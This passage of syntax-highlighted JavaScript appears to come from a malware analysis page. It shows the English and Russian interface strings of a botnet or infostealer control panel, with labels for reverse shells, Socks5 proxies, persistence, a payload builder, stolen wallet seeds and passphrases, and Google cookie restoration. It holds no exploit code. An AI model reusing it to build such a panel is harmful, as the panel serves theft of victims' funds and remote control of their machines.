font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Are you sure you want to enable Socks5 for bot {{idOrTarget}}?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-398">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableShellTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Enable Reverse Shell`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-399">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableShellPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Are you sure you want to enable Reverse Shell for bot {{idOrTarget}}?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-400">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enable</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Enable`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-401">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">makePersistentTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Make Persistent`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-402">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">makePersistentPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Are you sure you want to make bot {{idOrTarget}} persistent?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-403">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enterShellCommand</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Enter shell command...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-404">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unhandledActionPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Unhandled alert action: {{alert}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-405">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirm</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Confirm`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-406">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">close</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Close`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-407">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">selectionLimit</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Selection limit reached. You can only select up to 15 logs manually.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-408">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadLogPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Download log?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-409">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteLogPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete log?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-410">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAllLogsPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete All Logs?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-411">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadSelectedPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Download selected logs?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-412">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteSelectedPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete selected logs?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-413">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">maxLimit</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`(Max 15)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-414">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokenNotFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Authentication token not found. Please log in again.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-415">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorCreatingLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Error creating link: {{status}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-416">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToCreateLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to create link.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-417">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copyLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Copy link`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-418">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwordChangedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Password changed successfully!`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-419">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">couldNotChangePassword</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Could not change password.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-420">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">settingsSavedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Settings saved successfully!`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-421">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">couldNotSaveSettings</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Could not save settings.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-422">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorConnectingServer</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Error connecting to the server.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-423">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">successTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Success`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-424">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Error`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-425">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwordPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Password`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-426">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokenPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Token`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-427">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Chat ID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-428">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">usernameRequired</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Username is required`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-429">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToCreateUser</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to create user`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-430">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToUpdateUser</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to update user`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-431">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unexpectedError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`An unexpected error occurred`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-432">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">checkAllFields</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Please check all required fields`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-433">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logDeletedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Log deleted successfully`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-434">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">allLogsDeletedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`All logs deleted successfully`</span></span>
<span id="cb28-435">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-436">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errors</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-437">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteLog</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to delete log`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-438">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAllLogs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to delete all logs`</span></span>
<span id="cb28-439">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-440">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorBoundary</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-441">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">title</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Something went wrong`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-442">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">description</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`An unexpected error occurred. Please try to reload the page.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-443">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">retry</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Reload Page`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-444">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">localTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Widget error`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-445">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">localRetry</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Retry`</span></span>
<span id="cb28-446">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-447">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">common</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-448">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">empty</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Nothing found`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-449">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noSeedsDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`All collected seeds will appear here.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-450">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noBotsDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`All your active bots will appear here once they connect to the server.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-451">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noUsersDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`You can add new users using the 'Add User' button above.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-452">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noSocksDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Active socks connections for your bots will be listed here.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-453">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noRevShellsDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Active reverse shell connections will be listed here.`</span></span>
<span id="cb28-454">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-455">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">seeds</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-456">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">title</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Seeds`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-457">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">seed</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Seed`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-458">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">username</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Username`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-459">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">date</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Date`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-460">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">walletType</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Wallet Type`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-461">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passphrase</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Passphrase`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-462">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-463">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">country</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Country`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-464">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Action`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-465">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Copy`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-466">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loading</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Loading seeds...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-467">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noSeeds</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`No seeds found.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-468">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copied</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Seed copied to clipboard!`</span></span>
<span id="cb28-469">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-470">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">revshells</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-471">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-472">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`CC`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-473">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Action`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-474">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">connect</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Connect`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-475">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">delete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-476">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deletedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Reverse shell deleted successfully.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-477">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownFetchError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`An unknown error occurred while fetching reverse shells.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-478">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownDeleteError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Unknown error deleting reverse shell.`</span></span>
<span id="cb28-479">        }</span>
<span id="cb28-480">    }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-481">    VFe <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> {</span>
<span id="cb28-482">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">nav</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-483">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dashboard</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Статистика`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-484">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">builder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Билдер`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-485">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Логи`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-486">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bots</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Боты`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-487">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">linkCreator</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Создать ссылку`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-488">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cookies</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Восстановление Google Cookies`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-489">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">settings</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Настройки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-490">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">admin</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Админ панель`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-491">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">signOut</span><span class="op" style="color: #5E5E5E;
background-color: null;
